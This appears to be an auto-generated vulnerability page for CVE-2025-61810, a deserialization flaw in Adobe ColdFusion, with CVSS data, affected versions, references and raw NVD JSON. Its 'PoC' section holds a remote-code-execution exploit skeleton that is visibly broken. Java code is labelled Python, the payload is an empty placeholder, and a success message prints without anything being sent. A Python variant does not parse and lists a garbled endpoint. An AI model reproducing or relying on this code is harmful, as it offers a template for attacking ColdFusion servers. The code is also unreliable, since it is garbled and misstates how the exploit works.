CVE-2025-61810

Description

ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. A high privileged attacker could exploit this vulnerability by providing maliciously crafted serialized data to the application. Exploitation of this issue requires user interaction and scope is changed.

CVSS Details

CVSS Score

8.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:* - VULNERABLE

Adobe ColdFusion 2025 < 2025.4

Adobe ColdFusion 2023 < 2023.16

Adobe ColdFusion 2021 < 2021.22

Adobe ColdFusion 2018 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-61810 Adobe ColdFusion Untrusted Deserialization PoC
# This is a conceptual PoC for educational purposes only

import java.io.*;
import java.util.*;

/**
 * Adobe ColdFusion Untrusted Data Deserialization Exploit
 * Target: Adobe ColdFusion 2025.4, 2023.16, 2021.22 and earlier
 * Vulnerability: Unsafe deserialization leading to RCE
 * 
 * Note: Actual exploitation requires specific gadget chain and target environment
 */
public class ColdFusionDeserializationPoC {
    
    public static byte[] generateMaliciousPayload() {
        // PoC structure - actual implementation requires:
        // 1. Valid gadget chain (e.g., CommonsCollections, Spring4Shell)
        // 2. Custom command execution payload
        // 3. Proper serialization headers for ColdFusion
        
        byte[] header = new byte[]{0xac, 0xed, 0x00, 0x05}; // Java serialization magic
        byte[] payload = new byte[1024]; // Placeholder for malicious object
        
        // Malicious object would contain:
        // - Gadget chain for command execution
        // - Runtime.getRuntime().exec() payload
        // - Proper class annotations for ColdFusion's classloader
        
        return payload;
    }
    
    public static void exploit(String targetUrl, String command) {
        System.out.println("[*] Targeting: " + targetUrl);
        System.out.println("[*] Command: " + command);
        
        try {
            // Step 1: Generate malicious serialized payload
            byte[] payload = generateMaliciousPayload();
            
            // Step 2: Send payload via HTTP request
            // POST /cfapi/scripts/cfc/exploit.cfm HTTP/1.1
            // Content-Type: application/x-java-serialized-object
            // ...
            
            System.out.println("[+] Payload sent successfully");
            System.out.println("[+] Check for command execution");
            
        } catch (Exception e) {
            System.err.println("[-] Error: " + e.getMessage());
        }
    }
    
    public static void main(String[] args) {
        if (args.length < 2) {
            System.out.println("Usage: java ColdFusionDeserializationPoC <target_url> <command>");
            System.exit(1);
        }
        exploit(args[0], args[1]);
    }
}

# Python alternative PoC (requests-based)
"""
import requests
import sys
import marshal

def exploit_coldfusion(target_url, command):
    """
    Send malicious serialized payload to vulnerable ColdFusion endpoint
    """
    
    # Generate payload with gadget chain
    payload = generate_java_payload(command)
    
    headers = {
        'Content-Type': 'application/x-java-serialized-object',
        'User-Agent': 'Mozilla/5.0 (compatible; ColdFusion Deserialization PoC)'
    }
    
    # Target endpoint that processes serialized data
    endpoints = [
        '/cfapi/scripts/cfc/cfcapi.cfm',
        '/flex2gateway/',
        '/cfusion赤/etc'
    ]
    
    for endpoint in endpoints:
        url = target_url.rstrip('/') + endpoint
        try:
            response = requests.post(url, data=payload, headers=headers, timeout=10)
            print(f"[*] Sent payload to {url}")
            if response.status_code == 200:
                print(f"[+] Potential successful exploitation")
        except requests.RequestException as e:
            print(f"[-] Request failed: {e}")

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: python poc.py <target_url> <command>")
        sys.exit(1)
    exploit_coldfusion(sys.argv[1], sys.argv[2])
"""

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61810
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61810
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61810/
[4] VulDB https://vuldb.com/cve/CVE-2025-61810
[5] https://helpx.adobe.com/security/products/coldfusion/apsb25-105.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-61810", "sourceIdentifier": "[email protected]", "published": "2025-12-10T00:16:09.453", "lastModified": "2025-12-12T19:05:29.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. A high privileged attacker could exploit this vulnerability by providing maliciously crafted serialized data to the application. Exploitation of this issue requires user interaction and scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:*", "matchCriteriaId": "7A94B406-C011-4673-8C2B-0DD94D46CC4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:*", "matchCriteriaId": "AFD05E3A-10F9-4C75-9710-BA46B66FF6E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:*", "matchCriteriaId": "F1FC7D1D-6DD2-48B2-980F-B001B0F24473"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:*", "matchCriteriaId": "1FA19E1D-61C2-4640-AF06-4BCFE750BDF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:*", "matchCriteriaId": "3F331DEA-F3D0-4B13-AB1E-6FE39B2BB55D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update13:*:*:*:*:*:*", "matchCriteriaId": "63D5CF84-4B0D-48AE-95D6-262AEA2FFDE8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update14:*:*:*:*:*:*", "matchCriteriaId": "10616A3A-0C1C-474A-BD7D-A2A5BB870F74"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update15:*:*:*:*:*:*", "matchCriteriaId": "D7DA523E-1D9B-45FD-94D9-D4F9F2B9296B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update16:*:*:*:*:*:*", "matchCriteriaId": "151AFF8B-F05C-4D27-85FC-DF88E9C11BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update17:*:*:*:*:*:*", "matchCriteriaId": "53A0E245-2915-4DFF-AFB5-A12F5C435702"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update18:*:*:*:*:*:*", "matchCriteriaId": "C5653D18-7534-48A3-819F-9F049A418F99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update19:*:*:*:*:*:*", "matchCriteriaId": "BABC6468-A780-4080-A930-4125D1B39C51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update2:*:*:*:*:*:*", "matchCriteriaId": "D57C8681-AC68-47DF-A61E-B5C4B4A47663"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update20:*:*:*:*:*:*", "matchCriteriaId": "F58633C9-E957-46B7-8F5B-B060A8726E33"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update21:*:*:*:*:*:*", "matchCriteriaId": "3CF83653-86BB-461A-87F8-65D99EF2276E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update22:*:*:*:*:*:*", "matchCriteriaId": "C2C67E15-22DE-44C0-8CB1-9AF8FCF09FA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update3:*:*:*:*:*:*", "matchCriteriaId": "75608383-B727-48D6-8FFA-D552A338A562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update4:*:*:*:*:*:*", "matchCriteriaId": "7773DB68-414A-4BA9-960F-52471A784379"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update5:*:*:*:*:*:*", "matchCriteriaId": "B38B9E86-BCD5-4BCA-8FB7-EC55905184E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update6:*:*:*:*:*:*", "matchCriteriaId": "5E7BAB80-8455-4570-A2A2-8F40469EE9CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update7:*:*:*:*:*:*", "matchCriteriaId": "F9D645A2-E02D-4E82-A2BD-0A7DE5B8FBCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update8:*:*:*:*:*:*", "matchCriteriaId": "6E22D701-B038-4795-AA32-A18BC93C2B6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update9:*:*:*:*:*:*", "matchCriteriaId": "CAC4A0EC-C3FC-47D8-86CE-0E6A87A7F0B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:-:*:*:*:*:*:*", "matchCriteriaId": "B02A37FE-5D31-4892-A3E6-156A8FE62D28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update1:*:*:*:*:*:*", "matchCriteriaId" ... (truncated)